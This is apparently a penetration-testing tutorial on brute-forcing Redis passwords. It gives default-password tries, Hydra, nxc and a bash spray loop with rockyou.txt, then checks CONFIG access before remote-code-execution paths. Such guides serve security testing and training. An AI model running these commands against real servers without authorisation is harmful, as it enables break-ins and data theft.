Skip to content
HackIndex.io

Redis Authenticated Access – Password Brute Force and Login

3 min read Created Mar 12, 2026 Last updated Jul 10, 2026

When Redis requires authentication, a single password protects the entire instance: no usernames in Redis 5 and below, just one shared requirepass value. Redis 6 introduced ACL-based multi-user authentication. Weak or default passwords are extremely common. A successful login gives the same full access as an unauthenticated instance. Once authenticated, the next steps depend on what Redis allows:

  • CONFIG access enabled: file write RCE via SSH keys, cron, or webshell
  • MODULE command available: load a malicious .so for direct command execution
  • Debian/Ubuntu target: CVE-2022-0543 Lua sandbox escape (no CONFIG needed)
  • CONFIG disabled and no CVE: limited to data extraction from stored keys

Step 1 - Confirm Authentication is Required

Connect and run PING:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 ping 
NOAUTH Authentication required.

Authentication is active. If it returns PONG, the instance is open: see https://hackindex.io/services/redis/exploitation/unauthenticated-access instead.

Step 2 - Test Common Default Passwords First

Before running a wordlist, test the most common Redis passwords manually:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 -a foobared ping
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 -a password ping
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 -a redis ping
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 -a 123456 ping
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 -a "" ping

foobared is the example password in the default Redis config and is left in place more often than it should be.

Step 3 - Brute Force with Hydra

┌──(kali㉿kali)-[~]
└─$ hydra -P /usr/share/wordlists/rockyou.txt redis://$TARGET_IP

For a non-standard port:

┌──(kali㉿kali)-[~]
└─$ hydra -P /usr/share/wordlists/rockyou.txt redis://$TARGET_IP:$PORT 
[6379][redis] host: 10.10.10.10   password: foobared

Step 4 - Brute Force with nxc

┌──(kali㉿kali)-[~]
└─$ nxc redis $TARGET_IP -p 6379 --pass-file /usr/share/wordlists/rockyou.txt

nxc gives cleaner output for Redis and handles threading more reliably than Hydra in some environments.

Step 5 - Brute Force with redis-cli in a Loop

For a quick manual spray against a short list:

while read pass; do
  result=$(redis-cli -h $TARGET_IP -p 6379 -a "$pass" ping 2>/dev/null)
  if [ "$result" = "PONG" ]; then
    echo "[+] Found password: $pass"
    break
  fi
done < /usr/share/wordlists/rockyou.txt

Step 6 - Connect with Found Password

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 -a $PASSWORD

Or authenticate after connecting:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 
AUTH $PASSWORD

Confirm access:

ping
info server

Step 7 - Verify CONFIG Access

CONFIG access is required for the most impactful exploitation paths. Check immediately:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 -a $PASSWORD config get dir

If CONFIG returns data, proceed with write-based RCE techniques. If CONFIG is disabled (returns ERR unknown command), you are limited to data extraction and Lua-based techniques. See https://hackindex.io/services/redis/exploitation/cve-2022-0543 for CONFIG-free RCE on Debian/Ubuntu targets.

Redis 6+ ACL Multi-User Authentication

Redis 6 and above supports named users via ACL. If the default user is locked, try common usernames:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379
┌──(kali㉿kali)-[~]
└─$ AUTH default $PASSWORD
┌──(kali㉿kali)-[~]
└─$ AUTH admin $PASSWORD
┌──(kali㉿kali)-[~]
└─$ AUTH redis $PASSWORD

List configured users if you gain access with any credential:

┌──(kali㉿kali)-[~]
└─$ acl list

Each entry shows username, password hash, and permitted commands: useful for understanding what your account can and cannot do.

References